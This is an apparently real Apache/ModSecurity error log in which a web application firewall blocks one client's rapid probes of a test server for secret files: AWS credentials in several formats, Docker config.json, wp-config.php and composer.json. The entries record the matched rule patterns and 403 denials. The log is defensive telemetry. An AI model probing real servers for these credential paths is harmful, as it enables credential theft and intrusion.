[Sat May 31 23:24:09.993444 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.json&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.json
[Sat May 31 23:24:09.993729 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.json&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.json
[Sat May 31 23:24:09.993910 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.json&quot;] [unique_id &quot;aDtzeU_7v63ITAiL1uihcwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.json
[Sat May 31 23:24:10.426226 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yml&quot;] [unique_id &quot;aDtzek_7v63ITAiL1uihdAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yml
[Sat May 31 23:24:10.426741 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yml&quot;] [unique_id &quot;aDtzek_7v63ITAiL1uihdAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yml
[Sat May 31 23:24:10.427070 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yml&quot;] [unique_id &quot;aDtzek_7v63ITAiL1uihdAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yml
[Sat May 31 23:24:10.757514 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yml&quot;] [unique_id &quot;aDtzek_7v63ITAiL1uihdQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yml
[Sat May 31 23:24:10.757796 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yml&quot;] [unique_id &quot;aDtzek_7v63ITAiL1uihdQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yml
[Sat May 31 23:24:10.758021 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yml&quot;] [unique_id &quot;aDtzek_7v63ITAiL1uihdQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yml
[Sat May 31 23:24:11.189666 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.yaml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yaml&quot;] [unique_id &quot;aDtze0_7v63ITAiL1uihdgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yaml
[Sat May 31 23:24:11.189945 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yaml&quot;] [unique_id &quot;aDtze0_7v63ITAiL1uihdgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yaml
[Sat May 31 23:24:11.190141 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yaml&quot;] [unique_id &quot;aDtze0_7v63ITAiL1uihdgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yaml
[Sat May 31 23:24:11.520189 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.yaml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yaml&quot;] [unique_id &quot;aDtze0_7v63ITAiL1uihdwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yaml
[Sat May 31 23:24:11.520473 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yaml&quot;] [unique_id &quot;aDtze0_7v63ITAiL1uihdwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yaml
[Sat May 31 23:24:11.521324 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.yaml&quot;] [unique_id &quot;aDtze0_7v63ITAiL1uihdwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials.yaml
[Sat May 31 23:24:16.532299 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aDtzgE_7v63ITAiL1uihhAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.docker/config.json
[Sat May 31 23:24:16.532616 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aDtzgE_7v63ITAiL1uihhAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.docker/config.json
[Sat May 31 23:24:16.532808 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aDtzgE_7v63ITAiL1uihhAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.docker/config.json
[Sat May 31 23:24:16.863291 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aDtzgE_7v63ITAiL1uihhQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.docker/config.json
[Sat May 31 23:24:16.863557 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aDtzgE_7v63ITAiL1uihhQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.docker/config.json
[Sat May 31 23:24:16.863743 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aDtzgE_7v63ITAiL1uihhQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.docker/config.json
[Sat May 31 23:24:17.296013 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aDtzgU_7v63ITAiL1uihhgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat May 31 23:24:17.296312 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aDtzgU_7v63ITAiL1uihhgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat May 31 23:24:17.296531 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aDtzgU_7v63ITAiL1uihhgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat May 31 23:24:17.627114 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aDtzgU_7v63ITAiL1uihhwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat May 31 23:24:17.627394 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aDtzgU_7v63ITAiL1uihhwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat May 31 23:24:17.627583 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aDtzgU_7v63ITAiL1uihhwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat May 31 23:24:21.880172 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aDtzhU_7v63ITAiL1uihkgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat May 31 23:24:21.880445 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aDtzhU_7v63ITAiL1uihkgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat May 31 23:24:21.880644 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aDtzhU_7v63ITAiL1uihkgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat May 31 23:24:22.211173 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aDtzhk_7v63ITAiL1uihkwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/composer.json
